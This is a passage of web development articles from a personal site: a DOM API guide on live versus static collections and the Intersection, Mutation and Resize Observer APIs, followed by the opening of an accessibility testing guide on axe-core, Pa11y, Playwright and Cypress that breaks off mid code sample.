newItem.className = "item"
container.appendChild(newItem)

console.log(items.length) // 4 - automatically updated!
```

**Liveness implications**:

```typescript
// ⚠️ Infinite loop: collection updates as you modify the DOM
const items = document.getElementsByClassName("item")
for (let i = 0; i < items.length; i++) {
  items[i].classList.remove("item") // Removes element from collection
  // Now items.length decreased, but i increased
  // You'll only process every other element
}

// ✅ Convert to array to capture snapshot
const itemsArray = Array.from(document.getElementsByClassName("item"))
for (const item of itemsArray) {
  item.classList.remove("item") // Safe: iterating over static array
}
```

**No array methods**:

```typescript
const items = document.getElementsByClassName("item")

// ❌ TypeError: items.forEach is not a function
items.forEach((item) => console.log(item))

// ✅ Convert to array first
Array.from(items).forEach((item) => console.log(item))

// ✅ Or use spread operator
;[...items].forEach((item) => console.log(item))

// ✅ Traditional for loop works
for (let i = 0; i < items.length; i++) {
  console.log(items[i])
}

// ✅ for...of works (HTMLCollection is iterable)
for (const item of items) {
  console.log(item)
}
```

### NodeList: Static Snapshot with forEach

[NodeList](https://developer.mozilla.org/en-US/docs/Web/API/NodeList) from `querySelectorAll()` captures document state at query time:

```typescript
const items = document.querySelectorAll(".item")
console.log(items.length) // 3

const newItem = document.createElement("div")
newItem.className = "item"
document.body.appendChild(newItem)

console.log(items.length) // Still 3 - NodeList doesn't update

// Must re-query to see new elements
const updatedItems = document.querySelectorAll(".item")
console.log(updatedItems.length) // 4
```

**forEach support**:

```typescript
const items = document.querySelectorAll(".item")

// ✅ NodeList has native forEach
items.forEach((item, index) => {
  item.dataset.index = String(index)
})

// ✅ Also supports for...of
for (const item of items) {
  console.log(item)
}

// ⚠️ But still not a real Array
items.map((item) => item.textContent) // ❌ TypeError: items.map is not a function

// ✅ Convert for full array methods
const texts = Array.from(items).map((item) => item.textContent)
```

**Exception: Live NodeList**:

The `childNodes` property returns a **live** NodeList. Additionally, `getElementsByName()` returns a live NodeList (not HTMLCollection)—an unusual API design exception:

```typescript
const parent = document.getElementById("container")
const children = parent.childNodes // Live NodeList

console.log(children.length) // Includes text nodes, comments, elements

parent.appendChild(document.createElement("div"))
console.log(children.length) // Automatically increased

// getElementsByName() also returns live NodeList (unusual exception)
const namedElements = document.getElementsByName("email")
// This NodeList updates when matching elements are added/removed
```

**Iteration caveat**: Never use `for...in` to enumerate NodeList items—it will also enumerate `length` and `item` properties. Use `for...of`, `forEach()`, or convert to array.

### Performance Considerations

<figure>

![Trade-offs between live collections that auto-update vs static snapshots](./trade-offs-between-live-collections-that-auto-update-vs-static-snapshots.svg)

<figcaption>Trade-offs between live collections that auto-update vs static snapshots</figcaption>

</figure>

**Live collections** (HTMLCollection, `childNodes`):

- **Cost**: Browser maintains internal references and updates collection on every DOM mutation
- **Benefit**: Always current without re-querying
- **Use when**: Need real-time DOM state and will access collection multiple times over time

**Static collections** (NodeList from `querySelectorAll()`):

- **Cost**: Must re-query to see DOM changes
- **Benefit**: No ongoing maintenance overhead
- **Use when**: Processing elements once or DOM is stable during iteration

**Benchmark insight**: Static `querySelectorAll()` is faster for one-time operations. Live collections amortize cost when accessed repeatedly across multiple DOM mutations.

### Practical Selector Strategy

```typescript
// ✅ Use querySelectorAll for one-time processing
function highlightAllWarnings() {
  const warnings = document.querySelectorAll(".warning")
  warnings.forEach((warning) => {
    warning.style.backgroundColor = "yellow"
  })
}

// ✅ Use getElementsByClassName when DOM changes frequently
function setupLiveCounter() {
  const items = document.getElementsByClassName("cart-item")

  function updateCount() {
    document.getElementById("count").textContent = String(items.length)
  }

  // Collection automatically reflects added/removed items
  document.addEventListener("DOMContentLoaded", updateCount)
  document.addEventListener("cartUpdate", updateCount)
}

// ✅ Convert live to static when iterating and modifying
function removeAllItems() {
  const items = document.getElementsByClassName("item")
  Array.from(items).forEach((item) => item.remove())
}

// ✅ Cache length for performance in loops
function processItems() {
  const items = document.querySelectorAll(".item")
  const length = items.length // Cache length

  for (let i = 0; i < length; i++) {
    // Process items[i]
  }
}
```

---

## Observer APIs: Efficient DOM Monitoring

Modern Observer APIs provide performant, callback-based change detection without polling or continuous event listener execution.

### Shared Observer Pattern

All Observer APIs follow the same interface design:

```typescript
// 1. Create observer with callback
const observer = new ObserverType((entries, observer) => {
  entries.forEach((entry) => {
    // Handle changes
  })
})

// 2. Start observing targets
observer.observe(targetElement, options)

// 3. Stop observing specific target
observer.unobserve(targetElement)

// 4. Stop observing all targets
observer.disconnect()

// 5. Get pending notifications (some observers)
const records = observer.takeRecords()
```

### IntersectionObserver: Visibility Detection

[IntersectionObserver](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver) monitors when elements enter or exit specified boundaries (typically the viewport), enabling lazy loading and scroll-based interactions without scroll event listeners.

**Core concepts**:

- **Root**: Bounding box for intersection testing (viewport by default, or ancestor element)
- **Root margin**: CSS-style margin offsets applied to root's bounding box
- **Threshold**: Visibility ratios (0.0 to 1.0) that trigger callbacks

```typescript
const observer = new IntersectionObserver(
  (entries) => {
    entries.forEach((entry) => {
      // entry.target - the observed element
      // entry.isIntersecting - whether target intersects root
      // entry.intersectionRatio - percentage of target visible (0.0 to 1.0)
      // entry.intersectionRect - visible portion dimensions
      // entry.boundingClientRect - target's full bounding box
      // entry.rootBounds - root element's bounding box
      // entry.time - timestamp when intersection changed
    })
  },
  {
    root: null, // viewport (null) or ancestor Element
    rootMargin: "0px", // margin around root
    threshold: [0, 0.5, 1.0], // trigger at 0%, 50%, 100% visibility
  },
)

observer.observe(document.querySelector("#target"))
```

#### Threshold: When to Fire Callbacks

The `threshold` option controls what percentage of the target element must be visible before the callback fires. **Default value: `0`** (callback fires when even a single pixel becomes visible).

**Single threshold value**:

```typescript
// Fire when 50% of element is visible
const observer = new IntersectionObserver(callback, { threshold: 0.5 })

// Common threshold values:
// 0    - Fire immediately when any part enters (default)
// 0.5  - Fire when half visible
// 1.0  - Fire only when fully visible
```

**Multiple thresholds** for progressive tracking:

```typescript
// Track visibility at multiple stages
const observer = new IntersectionObserver(
  (entries) => {
    entries.forEach((entry) => {
      // Callback fires at each threshold crossing
      console.log(`Visibility: ${Math.round(entry.intersectionRatio * 100)}%`)

      if (entry.intersectionRatio >= 0.75) {
        // Element is mostly visible - count as "viewed"
        trackImpression(entry.target)
      }
    })
  },
  { threshold: [0, 0.25, 0.5, 0.75, 1.0] },
)
```

**Threshold behavior**:

- Callbacks fire when visibility **crosses** a threshold in either direction (entering or leaving)
- With `threshold: 0`, callback fires when element goes from 0% → any visibility AND from any visibility → 0%
- With `threshold: 1.0`, callback fires only when element is 100% visible (or leaves 100% visibility)

#### Root Margin: Expanding or Shrinking the Detection Zone

The `rootMargin` option adjusts the root's bounding box before calculating intersections, using CSS margin syntax. **Default value: `"0px 0px 0px 0px"`**.

<figure>

![Positive rootMargin expands the detection zone beyond the viewport, triggering callbacks before elements become visible](./positive-rootmargin-expands-the-detection-zone-beyond-the-viewport-triggering-ca.svg)

<figcaption>Positive rootMargin expands the detection zone beyond the viewport, triggering callbacks before elements become visible</figcaption>

</figure>

**Syntax** follows CSS margin shorthand (top, right, bottom, left):

```typescript
// Single value: applies to all sides
rootMargin: "50px" // Expand all sides by 50px

// Two values: vertical | horizontal
rootMargin: "50px 0px" // Expand top/bottom by 50px

// Four values: top | right | bottom | left
rootMargin: "100px 0px 50px 0px" // Expand top 100px, bottom 50px
```

**Positive vs negative values**:

```typescript
// Positive: EXPAND detection zone (trigger BEFORE element is visible)
const preloadObserver = new IntersectionObserver(callback, {
  rootMargin: "200px", // Start loading 200px before entering viewport
})

// Negative: SHRINK detection zone (trigger AFTER element is well inside)
const deepVisibilityObserver = new IntersectionObserver(callback, {
  rootMargin: "-100px", // Only trigger when 100px inside viewport
})
```

**Practical rootMargin patterns**:

```typescript
// Preload content before it scrolls into view
const lazyLoader = new IntersectionObserver(loadContent, {
  rootMargin: "300px 0px", // 300px buffer above and below viewport
})

// Sticky header detection - trigger when element is near top
const stickyObserver = new IntersectionObserver(updateSticky, {
  rootMargin: "-80px 0px 0px 0px", // 80px from top edge (header height)
})

// Analytics: only count as "viewed" if visible for meaningful time
const impressionObserver = new IntersectionObserver(trackView, {
  rootMargin: "-50px", // Must be 50px inside viewport
  threshold: 0.5, // AND 50% visible
})
```

**Why rootMargin matters**: Without rootMargin, lazy loading triggers exactly when an element enters the viewport, causing a visible loading delay. With `rootMargin: '200px'`, loading starts 200px before the element scrolls into view, creating a seamless experience.

**Use case: Lazy loading images**

```typescript
const imageObserver = new IntersectionObserver(
  (entries, observer) => {
    entries.forEach((entry) => {
      if (entry.isIntersecting) {
        const img = entry.target as HTMLImageElement

        // Load image when it enters viewport
        img.src = img.dataset.src!
        img.onload = () => img.classList.add("loaded")

        // Stop observing this image
        observer.unobserve(img)
      }
    })
  },
  {
    // Start loading slightly before image enters viewport
    rootMargin: "50px",
  },
)

// Observe all images with data-src attribute
document.querySelectorAll("img[data-src]").forEach((img) => {
  imageObserver.observe(img)
})
```

**Use case: Infinite scroll**

```typescript collapse={1-6, 32-38}
function setupInfiniteScroll(loadMoreFn: () => Promise<void>) {
  // Sentinel setup (collapsed)
  const sentinel = document.createElement("div")
  sentinel.id = "scroll-sentinel"
  sentinel.style.height = "1px"
  document.querySelector("#content-container")!.appendChild(sentinel)

  let isLoading = false

  // Key pattern: IntersectionObserver triggers load before reaching end
  const observer = new IntersectionObserver(
    async (entries) => {
      const entry = entries[0]

      if (entry.isIntersecting && !isLoading) {
        isLoading = true

        try {
          await loadMoreFn()
        } finally {
          isLoading = false
        }
      }
    },
    {
      rootMargin: "200px", // Trigger 200px before reaching sentinel
    },
  )

  observer.observe(sentinel)

  return () => observer.disconnect()
}

// Usage (collapsed)
const cleanup = setupInfiniteScroll(async () => {
  const newItems = await fetchNextPage()
  renderItems(newItems)
})
```

**Use case: Scroll-triggered animations**

```typescript
const animationObserver = new IntersectionObserver(
  (entries) => {
    entries.forEach((entry) => {
      if (entry.isIntersecting) {
        entry.target.classList.add("animate-in")
      } else {
        // Optional: reset animation when scrolling back up
        entry.target.classList.remove("animate-in")
      }
    })
  },
  {
    threshold: 0.1, // Trigger when 10% visible
  },
)

// Observe all elements with animation class
document.querySelectorAll(".animate-on-scroll").forEach((element) => {
  animationObserver.observe(element)
})
```

**Performance benefit**: IntersectionObserver uses browser's rendering pipeline to detect intersections, avoiding expensive `getBoundingClientRect()` calls in scroll handlers. Per the W3C spec (Editor's Draft, June 2024): "The information can be delivered asynchronously (e.g. from another thread) without penalty."

#### Cross-Origin Privacy Safeguards

IntersectionObserver implements privacy restrictions for cross-origin content to prevent viewport geometry probing:

```typescript
// When observing cross-origin iframe content:
const observer = new IntersectionObserver((entries) => {
  entries.forEach((entry) => {
    // For cross-origin targets:
    // - rootBounds is null (suppressed to prevent viewport probing)
    // - rootMargin effects are ignored
    // - scrollMargin effects are ignored

    if (entry.rootBounds === null) {
      // Cross-origin target - limited information available
      console.log("Cross-origin: rootBounds suppressed for privacy")
    }
  })
})
```

**Design rationale**: The spec states this "prevent[s] probing for global viewport geometry information that could deduce user hardware configuration" and avoids revealing whether cross-origin iframes are visible.

### MutationObserver: DOM Change Detection

[MutationObserver](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver) monitors DOM tree modifications, replacing [legacy Mutation Events](https://developer.chrome.com/blog/mutation-events-deprecation) with better performance and clearer semantics. The DOM Standard (Section 4.3) defines three components: the MutationObserver interface, a "queuing a mutation record" algorithm, and the MutationRecord data structure. Unlike the older MutationEvent API which triggered synchronously for every change, MutationObserver batches mutations into a single callback at the end of a microtask.

**Observed mutation types**:

- **Child nodes**: Elements added or removed from target
- **Attributes**: Attribute values changed
- **Character data**: Text node content changed
- **Subtree**: Monitor target and all descendants

```typescript
const observer = new MutationObserver((mutations, observer) => {
  mutations.forEach((mutation) => {
    // mutation.type - 'childList', 'attributes', or 'characterData'
    // mutation.target - the node that changed
    // mutation.addedNodes - NodeList of added children
    // mutation.removedNodes - NodeList of removed children
    // mutation.attributeName - changed attribute name
    // mutation.oldValue - previous value (if requested in options)
  })
})

observer.observe(targetNode, {
  // At least one of these must be true:
  childList: true, // Watch child node additions/removals
  attributes: true, // Watch attribute changes
  characterData: true, // Watch text content changes

  // Optional refinements:
  subtree: true, // Monitor all descendants too
  attributeOldValue: true, // Include previous attribute values
  characterDataOldValue: true, // Include previous text values
  attributeFilter: ["class", "data-state"], // Only specified attributes
})
```

**Use case: Monitoring dynamic content injection**

```typescript collapse={28-39}
function watchDynamicContent(container: Element, callback: (addedElements: Element[]) => void) {
  const observer = new MutationObserver((mutations) => {
    const addedElements: Element[] = []

    // Key pattern: filter for element nodes from childList mutations
    mutations.forEach((mutation) => {
      if (mutation.type === "childList") {
        mutation.addedNodes.forEach((node) => {
          if (node.nodeType === Node.ELEMENT_NODE) {
            addedElements.push(node as Element)
          }
        })
      }
    })

    if (addedElements.length > 0) {
      callback(addedElements)
    }
  })

  observer.observe(container, {
    childList: true,
    subtree: true, // Watch all descendants
  })

  return () => observer.disconnect()
}

// Usage example (collapsed)
const cleanup = watchDynamicContent(document.body, (elements) => {
  elements.forEach((el) => {
    if (el.hasAttribute("data-tooltip")) {
      initializeTooltip(el)
    }
  })
})
```

**Use case: Form validation on attribute changes**

```typescript collapse={7-16}
function trackFormFieldState(form: HTMLFormElement) {
  const observer = new MutationObserver((mutations) => {
    mutations.forEach((mutation) => {
      // Key pattern: watch aria-invalid attribute for validation state changes
      if (mutation.type === "attributes" && mutation.attributeName === "aria-invalid") {
        const field = mutation.target as HTMLElement
        // Error message visibility logic (collapsed)
        const isInvalid = field.getAttribute("aria-invalid") === "true"
        const errorId = field.getAttribute("aria-describedby")
        if (errorId) {
          const errorElement = document.getElementById(errorId)
          if (errorElement) {
            errorElement.hidden = !isInvalid
          }
        }
      }
    })
  })

  // Watch all form fields with attributeFilter for efficiency
  form.querySelectorAll("input, textarea, select").forEach((field) => {
    observer.observe(field, {
      attributes: true,
      attributeFilter: ["aria-invalid"], // Only watch this attribute
      attributeOldValue: true,
    })
  })

  return () => observer.disconnect()
}
```

**Use case: Character data monitoring**

```typescript
function watchTextChanges(editableElement: HTMLElement) {
  const observer = new MutationObserver((mutations) => {
    mutations.forEach((mutation) => {
      if (mutation.type === "characterData") {
        console.log("Text changed from:", mutation.oldValue)
        console.log("Text changed to:", mutation.target.textContent)

        // Update character count, word count, etc.
        updateTextStats(editableElement)
      }
    })
  })

  observer.observe(editableElement, {
    characterData: true,
    subtree: true, // Watch text nodes in all descendants
    characterDataOldValue: true,
  })

  return () => observer.disconnect()
}
```

**Batching behavior**: MutationObserver batches multiple mutations and delivers them asynchronously, improving performance compared to synchronous Mutation Events.

```typescript
const target = document.getElementById("container")!
const observer = new MutationObserver((mutations) => {
  // This callback receives ALL mutations in a single batch
  console.log(`Received ${mutations.length} mutations`)
})

observer.observe(target, { childList: true })

// These three operations generate three mutation records,
// but callback is invoked once with all three
target.appendChild(document.createElement("div"))
target.appendChild(document.createElement("span"))
target.appendChild(document.createElement("p"))

// Callback invoked asynchronously with 3 mutation records
```

### ResizeObserver: Element Dimension Changes

[ResizeObserver](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver) reports changes to element dimensions, enabling responsive component sizing independent of viewport resize events. Defined in the [CSS Resize Observer Module Level 1](https://drafts.csswg.org/resize-observer/) specification (separate from DOM Standard).

**Key distinction**:

- **Content box**: Inner content area (excludes padding and border)
- **Border box**: Full element dimensions (includes padding and border)
- **Device pixel content box**: Content box in device pixels (for high-DPI displays)

```typescript
const observer = new ResizeObserver((entries) => {
  entries.forEach((entry) => {
    // entry.target - the observed element
    // entry.contentRect - DOMRect with dimensions (legacy)
    // entry.contentBoxSize - ReadonlyArray of ResizeObserverSize
    // entry.borderBoxSize - ReadonlyArray of ResizeObserverSize
    // entry.devicePixelContentBoxSize - Device pixel dimensions
  })
})

observer.observe(element, {
  box: "content-box", // 'content-box', 'border-box', or 'device-pixel-content-box'
})
```

**ResizeObserverEntry structure**:

```typescript
interface ResizeObserverEntry {
  target: Element
  contentRect: DOMRectReadOnly // Legacy property
  contentBoxSize: ReadonlyArray<ResizeObserverSize>
  borderBoxSize: ReadonlyArray<ResizeObserverSize>
  devicePixelContentBoxSize: ReadonlyArray<ResizeObserverSize>
}

interface ResizeObserverSize {
  inlineSize: number // Width in horizontal writing mode
  blockSize: number // Height in horizontal writing mode
}
```

**Use case: Responsive typography**

```typescript collapse={19-25}
function setupResponsiveText(container: HTMLElement) {
  const heading = container.querySelector("h1")!
  const paragraph = container.querySelector("p")!

  const observer = new ResizeObserver((entries) => {
    entries.forEach((entry) => {
      // Key pattern: use contentBoxSize for modern width detection
      if (entry.contentBoxSize) {
        const contentBoxSize = Array.isArray(entry.contentBoxSize) ? entry.contentBoxSize[0] : entry.contentBoxSize

        const width = contentBoxSize.inlineSize

        // Scale font size based on container width
        heading.style.fontSize = `${Math.max(1.5, width / 200)}rem`
        paragraph.style.fontSize = `${Math.max(1, width / 600)}rem`
      } else {
        // Fallback for older browsers (collapsed)
        const width = entry.contentRect.width
        heading.style.fontSize = `${Math.max(1.5, width / 200)}rem`
        paragraph.style.fontSize = `${Math.max(1, width / 600)}rem`
      }
    })
  })

  observer.observe(container)
  return () => observer.disconnect()
}
```

**Use case: Container-based grid layout**

```typescript
function setupAdaptiveGrid(grid: HTMLElement) {
  const observer = new ResizeObserver((entries) => {
    entries.forEach((entry) => {
      const width = entry.contentBoxSize?.[0]?.inlineSize ?? entry.contentRect.width

      // Adjust grid columns based on available width
      let columns: number
      if (width < 400) columns = 1
      else if (width < 800) columns = 2
      else if (width < 1200) columns = 3
      else columns = 4

      grid.style.gridTemplateColumns = `repeat(${columns}, 1fr)`
      grid.dataset.columns = String(columns)
    })
  })

  observer.observe(grid)
  return () => observer.disconnect()
}
```

**Use case: Textarea auto-resize**

```typescript
function setupAutoResize(textarea: HTMLTextAreaElement) {
  const observer = new ResizeObserver((entries) => {
    // Prevent infinite loops by checking if size actually changed
    entries.forEach((entry) => {
      const target = entry.target as HTMLTextAreaElement

      // Reset height to measure scrollHeight
      target.style.height = "auto"

      // Set height to content height
      const newHeight = target.scrollHeight + 2 // +2 for border
      target.style.height = `${newHeight}px`
    })
  })

  // Observe the textarea
  observer.observe(textarea)

  // Also trigger on input
  textarea.addEventListener("input", () => {
    textarea.style.height = "auto"
    textarea.style.height = `${textarea.scrollHeight + 2}px`
  })

  return () => observer.disconnect()
}
```

#### Timing and Edge Cases

ResizeObserver processing occurs **between layout and paint phases** in the rendering pipeline. This timing makes the callback an ideal place for layout changes—modifications only invalidate layout, not paint, avoiding unnecessary repaints.

**Edge cases to know**:

- Observations trigger when elements are inserted/removed from DOM
- Setting `display: none` fires an observation
- **Non-replaced inline elements always report empty dimensions** (no intrinsic size)
- **CSS transforms do NOT trigger observations**—transforms don't change box dimensions, only visual position

**Avoiding infinite loops**:

ResizeObserver can trigger infinite notification loops if your callback modifies observed element dimensions. The browser limits iterations and throws an error:

```typescript
// ❌ Infinite loop: callback increases size, triggering more callbacks
const observer = new ResizeObserver((entries) => {
  entries.forEach((entry) => {
    const target = entry.target as HTMLElement
    // Each resize triggers another observation
    target.style.width = `${entry.contentRect.width + 10}px`
  })
})

observer.observe(element)
// Error: ResizeObserver loop completed with undelivered notifications
```

**Solutions**:

```typescript
// ✅ Solution 1: Use requestAnimationFrame to defer changes
const observer = new ResizeObserver((entries) => {
  requestAnimationFrame(() => {
    entries.forEach((entry) => {
      const target = entry.target as HTMLElement
      target.style.width = `${entry.contentRect.width + 10}px`
    })
  })
})

// ✅ Solution 2: Track expected size to avoid redundant updates
const expectedSizes = new WeakMap<Element, number>()

const observer = new ResizeObserver((entries) => {
  entries.forEach((entry) => {
    const expectedSize = expectedSizes.get(entry.target)
    const currentSize = entry.contentBoxSize?.[0]?.inlineSize ?? entry.contentRect.width

    // Only update if not at expected size
    if (currentSize !== expectedSize) {
      const newSize = currentSize + 10
      ;(entry.target as HTMLElement).style.width = `${newSize}px`
      expectedSizes.set(entry.target, newSize)
    }
  })
})
```

### Observer Performance Comparison

<figure>

![Observer APIs batch changes and invoke callbacks asynchronously for optimal performance](./observer-apis-batch-changes-and-invoke-callbacks-asynchronously-for-optimal-perf.svg)

<figcaption>Observer APIs batch changes and invoke callbacks asynchronously for optimal performance</figcaption>

</figure>

**Compared to traditional event listeners**:

```typescript
// ❌ Expensive: scroll handler runs on every scroll event
window.addEventListener("scroll", () => {
  document.querySelectorAll(".lazy-image").forEach((img) => {
    const rect = img.getBoundingClientRect()
    if (rect.top < window.innerHeight) {
      loadImage(img)
    }
  })
})

// ✅ Efficient: IntersectionObserver uses browser internals
const observer = new IntersectionObserver((entries) => {
  entries.forEach((entry) => {
    if (entry.isIntersecting) {
      loadImage(entry.target)
      observer.unobserve(entry.target)
    }
  })
})

document.querySelectorAll(".lazy-image").forEach((img) => {
  observer.observe(img)
})
```

**Batching example**:

```typescript
// Demonstrate batching behavior
const element = document.getElementById("container")!
const observer = new ResizeObserver((entries) => {
  console.log(`Callback invoked with ${entries.length} entries`)
  console.log("All size changes processed in one batch")
})

observer.observe(element)

// Rapidly change size multiple times
element.style.width = "100px"
element.style.width = "200px"
element.style.width = "300px"

// Output (single callback invocation):
// "Callback invoked with 1 entries"
// "All size changes processed in one batch"
```

---

## Conclusion

DOM APIs reflect decades of web platform evolution, balancing backward compatibility with modern performance requirements. The interface hierarchy separates universal tree operations (Element) from markup-specific behaviors (HTMLElement), enabling consistent APIs across HTML, SVG, and MathML. Selector return types encode liveness semantics directly into collection objects—live HTMLCollection for real-time tracking, static NodeList for one-time queries (with the notable exception of `getElementsByName()` returning a live NodeList). Observer APIs replace polling and event handler patterns with efficient, callback-based change detection integrated into the browser's rendering pipeline.

Understanding these design decisions enables you to choose the right API for each scenario: Element-typed utilities for cross-markup compatibility, `querySelectorAll()` for one-time selections, `getElementsByClassName()` when tracking dynamic DOM state, and Observer APIs for monitoring changes without performance overhead. The specs themselves—particularly the WHATWG DOM Standard and W3C IntersectionObserver spec—provide the authoritative source for edge cases and guarantees when production behavior matters.

---

## Appendix

### Prerequisites

- JavaScript fundamentals (classes, inheritance, async callbacks)
- Basic HTML/CSS understanding (elements, attributes, selectors)
- Familiarity with browser DevTools for DOM inspection

### Summary

- **Interface hierarchy**: EventTarget → Node → Element → HTMLElement; Element methods (`querySelector()`, `classList`) work across HTML, SVG, and MathML
- **Collection liveness**: `querySelectorAll()` returns static NodeList (snapshot); `getElementsByClassName()` returns live HTMLCollection (auto-updates); `getElementsByName()` is an unusual exception returning live NodeList
- **Observer pattern**: IntersectionObserver, MutationObserver, and ResizeObserver all use async batched callbacks for efficient change detection
- **IntersectionObserver privacy**: Cross-origin targets have suppressed `rootBounds` and ignored margin options to prevent viewport probing
- **ResizeObserver timing**: Callbacks execute between layout and paint—ideal for layout changes without extra repaints; CSS transforms don't trigger observations

### References

**Specifications (Primary Sources)**

- [DOM Standard](https://dom.spec.whatwg.org/) - WHATWG Living Standard (last updated January 2026)
- [HTML Standard](https://html.spec.whatwg.org/) - WHATWG HTML Specification
- [IntersectionObserver Specification](https://w3c.github.io/IntersectionObserver/) - W3C Editor's Draft (June 2024)
- [Resize Observer Module Level 1](https://drafts.csswg.org/resize-observer/) - CSS Working Group Draft

**Official Documentation**

- [Element - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/Element)
- [HTMLElement - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement)
- [SVGElement - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/SVGElement)
- [NodeList - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/NodeList)
- [HTMLCollection - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/HTMLCollection)
- [Document: querySelectorAll() - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll)
- [IntersectionObserver - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver)
- [MutationObserver - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver)
- [ResizeObserver - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver)
- [Mutation Events Deprecation | Chrome Developers](https://developer.chrome.com/blog/mutation-events-deprecation)

**Supplementary Resources**

- [HTMLCollection vs NodeList | FreeCodeCamp](https://www.freecodecamp.org/news/dom-manipulation-htmlcollection-vs-nodelist/)
- [WHATWG DOM GitHub Repository](https://github.com/whatwg/dom)

---

## Accessibility Testing and Tooling Workflow

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/accessibility-standards/accessibility-testing-tooling
**Category:** Web Foundations / Accessibility Standards
**Description:** A practical workflow for automated and manual accessibility testing, covering tool selection, CI/CD integration, and testing strategies. Automated testing catches approximately 57% of accessibility issues (Deque, 2021)—the remaining 43% requires keyboard navigation testing, screen reader verification, and subjective judgment about content quality. This guide covers how to build a testing strategy that maximizes automated coverage while establishing the manual testing practices that no tool can replace.

# Accessibility Testing and Tooling Workflow

A practical workflow for automated and manual accessibility testing, covering tool selection, CI/CD integration, and testing strategies. Automated testing catches approximately 57% of accessibility issues (Deque, 2021)—the remaining 43% requires keyboard navigation testing, screen reader verification, and subjective judgment about content quality. This guide covers how to build a testing strategy that maximizes automated coverage while establishing the manual testing practices that no tool can replace.

<figure>

![Accessibility testing workflow: automated tools catch structural issues early; manual testing catches semantic and experiential issues that require human judgment](./accessibility-testing-workflow-automated-tools-catch-structural-issues-early-man.svg)

<figcaption>Accessibility testing workflow: automated tools catch structural issues early; manual testing catches semantic and experiential issues that require human judgment</figcaption>

</figure>

## Abstract

Accessibility testing requires a layered approach because different issue categories require different detection methods:

| Testing Layer                                 | What It Catches                                                     | Coverage                           |
| --------------------------------------------- | ------------------------------------------------------------------- | ---------------------------------- |
| **Static analysis** (eslint-plugin-jsx-a11y)  | Missing alt attributes, invalid ARIA, semantic violations in JSX    | ~15% of criteria, development-time |
| **Runtime automation** (axe-core, Pa11y)      | Contrast ratios, duplicate IDs, missing labels, ARIA state validity | ~35% of WCAG criteria reliably     |
| **Manual testing** (keyboard, screen readers) | Focus order logic, content meaning, navigation consistency          | ~42% of criteria—non-automatable   |

**Why automation alone fails**: WCAG 2.2's 86 success criteria include subjective requirements—whether alt text _accurately describes_ an image, whether error messages _provide helpful guidance_, whether focus order is _logically intuitive_. Tools can detect presence of alt text but cannot evaluate its correctness.

**Tool selection principle**: axe-core dominates because of its conservative rule engineering (minimizes false positives), making it safe for CI/CD gates. Pa11y adds HTML CodeSniffer's distinct rule set for broader coverage. WAVE and Lighthouse serve quick audits but lack the rigor for compliance verification.

**Testing workflow design**:

1. **Shift-left**: eslint-plugin-jsx-a11y catches issues in IDE before code commits
2. **Component/E2E**: axe-core integration in Playwright/Cypress catches runtime issues
3. **CI gates**: Pa11y-CI fails builds on critical violations
4. **Manual protocol**: Keyboard + screen reader testing before each release

## Automation Coverage: What Tools Actually Catch

The 57% figure from Deque's study (13,000+ pages, 300,000+ issues) measures issue _volume_, not criteria count. Some issue types (missing labels, contrast failures) occur frequently—automation catches these reliably. Other criteria (meaningful sequence, focus order) rarely produce automatable signals.

### WCAG Criteria by Automation Reliability

| Reliability | Criteria Count | Examples                                                  | Detection Confidence                                       |
| ----------- | -------------- | --------------------------------------------------------- | ---------------------------------------------------------- |
| **High**    | ~13%           | Color contrast ratios, duplicate IDs, missing form labels | Measurable technical requirements; minimal false positives |
| **Partial** | ~45%           | Heading hierarchy, link purpose, error identification     | Detect presence but not quality/correctness                |
| **None**    | ~42%           | Alt text accuracy, focus order logic, caption timing      | Require human judgment                                     |

**What "high reliability" means**: Contrast ratio calculations are objective—4.5:1 for normal text, 3:1 for large text per WCAG 1.4.3. Tools calculate this deterministically. "High reliability" criteria have clear pass/fail thresholds without subjective interpretation.

**What "partial" means**: A tool can verify a heading exists after content but cannot determine if the heading _accurately describes_ that content. It detects structural presence, not semantic correctness.

**What "none" means**: "Focus order preserves meaning and operability" (WCAG 2.4.3) requires understanding user intent and page purpose. No algorithm can determine if tab order is "logical" without understanding the content's meaning.

### Why axe-core's 57% Matters for CI/CD

axe-core's design philosophy prioritizes _zero false positives over maximum coverage_. From the axe-core documentation:

> "Axe-core is designed to report only issues we're confident are accessibility issues. We'd rather miss an issue than report a false positive."

This makes axe-core safe for CI/CD gates—builds won't fail for phantom issues. The trade-off: axe-core's "incomplete" results (issues needing human review) are often ignored in CI pipelines, missing partial-detection opportunities.

**Configuration for WCAG 2.2 AA compliance**:

```javascript title="axe-config.js"
const axeConfig = {
  runOnly: {
    type: "tag",
    values: ["wcag2a", "wcag2aa", "wcag21a", "wcag21aa", "wcag22aa"],
  },
  rules: {
    // Disable rules for known exceptions
    "color-contrast": { enabled: true },
    // Enable best-practices beyond WCAG
    region: { enabled: true },
  },
}
```

## Tool Deep Dive: axe-core Ecosystem

axe-core (v4.11.x as of January 2026) provides 70+ accessibility rules and powers most modern testing integrations. Understanding its architecture helps configure it effectively.

### Integration Options

**Playwright** (@axe-core/playwright) offers chainable configuration:

```javascript title="playwright-a11y.spec.js" collapse={1-3, 18-22}
import { test, expect } from "@playwright/test"
import AxeBuilder from "@axe-core/playwright"

test("checkout flow accessibility", async ({ page }) => {
  await page.goto("/checkout")

  const results = await new AxeBuilder({ page })
    .withTags(["wcag2a", "wcag2aa", "wcag22aa"])
    .exclude(".third-party-widget") // Known inaccessible embed
    .analyze()

  // Fail on violations, log incomplete for review
  expect(results.violations).toEqual([])
  if (results.incomplete.length > 0) {
    console.log("Manual review needed:", results.incomplete)
  }
})
```

**Cypress** (cypress-axe or Cypress Accessibility) provides `cy.checkA11y()`:

```javascript title="cypress-a11y.spec.js" collapse={1-6}
